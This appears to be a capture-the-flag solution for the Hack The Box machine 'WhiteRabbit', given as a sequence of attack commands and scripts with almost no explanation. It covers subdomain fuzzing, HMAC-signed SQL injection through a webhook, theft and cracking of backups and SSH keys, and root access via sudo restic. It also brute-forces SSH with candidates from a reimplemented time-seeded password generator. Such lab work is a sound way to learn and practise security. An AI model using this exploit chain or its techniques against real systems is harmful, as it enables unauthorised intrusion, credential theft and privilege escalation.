WhiteRabbit

echo "$TARGET whiterabbit.htb" | sudo tee -a /etc/hosts

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://$TARGET/ -H 'Host: FUZZ.whiterabbit.htb' -ac -t 60 -s

export WIKI_HOST="a668910b5514e.whiterabbit.htb"; echo "$TARGET $WIKI_HOST status.whiterabbit.htb" | sudo tee -a /etc/hosts

curl -s -X POST http://$WIKI_HOST/graphql -H 'Content-Type: application/json' -d '{"query":"{pages{single(id:2){path title content}}}"}'

curl -s http://$WIKI_HOST/gophish/gophish_to_phishing_score_database.json -o wf.json && cat wf.json

export WEBHOOK_HOST="28efa8f7df.whiterabbit.htb"; echo "$TARGET $WEBHOOK_HOST" | sudo tee -a /etc/hosts

export WEBHOOK_HMAC_SECRET="[REDACTED: webhook HMAC secret]"
python3 - <<'EOF'
import hmac, hashlib, requests, json, os
key = os.environ['WEBHOOK_HMAC_SECRET'].encode()
url = 'http://$WEBHOOK_HOST/webhook/$WEBHOOK_PATH'
q = 'x" or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))-- -'
payload = json.dumps({'email': q, 'score': 1})
sig = hmac.new(key, payload.encode(), hashlib.sha256).hexdigest()
print(requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig}).text)
EOF

export WEBHOOK_HMAC_SECRET="[REDACTED: webhook HMAC secret]"
python3 - <<'EOF'
import hmac, hashlib, requests, json, os
key = os.environ['WEBHOOK_HMAC_SECRET'].encode()
url = 'http://$WEBHOOK_HOST/webhook/$WEBHOOK_PATH'
for i in range(6):
    q = f'x" or extractvalue(1,concat(0x7e,(select command from temp.command_log limit 1 offset {i})))-- -'
    payload = json.dumps({'email': q, 'score': 1})
    sig = hmac.new(key, payload.encode(), hashlib.sha256).hexdigest()
    r = requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig})
    print(i, r.text[:300])
EOF

export RESTIC_HOST="75951e6ff.whiterabbit.htb"; echo "$TARGET $RESTIC_HOST" | sudo tee -a /etc/hosts

export RESTIC_PASSWORD='[REDACTED: restic repository password]' && restic -r rest:http://$RESTIC_HOST snapshots

restic -r rest:http://$RESTIC_HOST restore latest --target /tmp/rr

7z2john /tmp/rr/dev/shm/bob/ssh/bob.7z > /tmp/bob.hash && john /tmp/bob.hash --wordlist=/usr/share/wordlists/rockyou.txt

7z x -p'[REDACTED: archive password]' /tmp/rr/dev/shm/bob/ssh/bob.7z -o/tmp/bobkey && chmod 600 /tmp/bobkey/bob

ssh -i /tmp/bobkey/bob -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bob@$TARGET 'id; hostname; ls -la ~; ls -la /'

ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'sudo -l'

ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'export RESTIC_PASSWORD="[REDACTED: temporary local repository password]"; script -qc "sudo /usr/bin/restic init --repo /tmp/loot_repo" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo backup /root" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo restore latest --target /tmp/loot" /dev/null && ls /tmp/loot/root/'

scp -i /tmp/bobkey/bob -P 2222 bob@$TARGET:/tmp/loot/root/morpheus /tmp/morpheus && chmod 600 /tmp/morpheus

ssh -i /tmp/morpheus -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null morpheus@$TARGET 'id; hostname; cat ~/user.txt'

ssh -i /tmp/morpheus -p 22 morpheus@$TARGET 'stat /opt/neo-password-generator; objdump -d --no-show-raw-insn -M intel /opt/neo-password-generator | head -150'

cat > /tmp/gen.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
    long base = atol(argv[1]);
    int range = atoi(argv[2]);
    const char *chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$";
    int len = strlen(chars);
    for (int ms = 0; ms < range * 1000; ms++) {
        srand((unsigned)(base + ms));
        char pw[17]; pw[16] = '\0';
        for (int i = 0; i < 16; i++) pw[i] = chars[rand() % len];
        printf("%s\n", pw);
    }
    return 0;
}
EOF
gcc -O2 -o /tmp/gen /tmp/gen.c

/tmp/gen 1725028842 1 > /tmp/neo_candidates.txt && wc -l /tmp/neo_candidates.txt

hydra -l neo -P /tmp/neo_candidates.txt -t 4 ssh://$TARGET

NEO_PASSWORD="[REDACTED: neo password]"
sshpass -p "$NEO_PASSWORD" ssh -tt -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neo@$TARGET "id; sudo -S sh -c 'id; cat /root/root.txt'" <<< "$NEO_PASSWORD"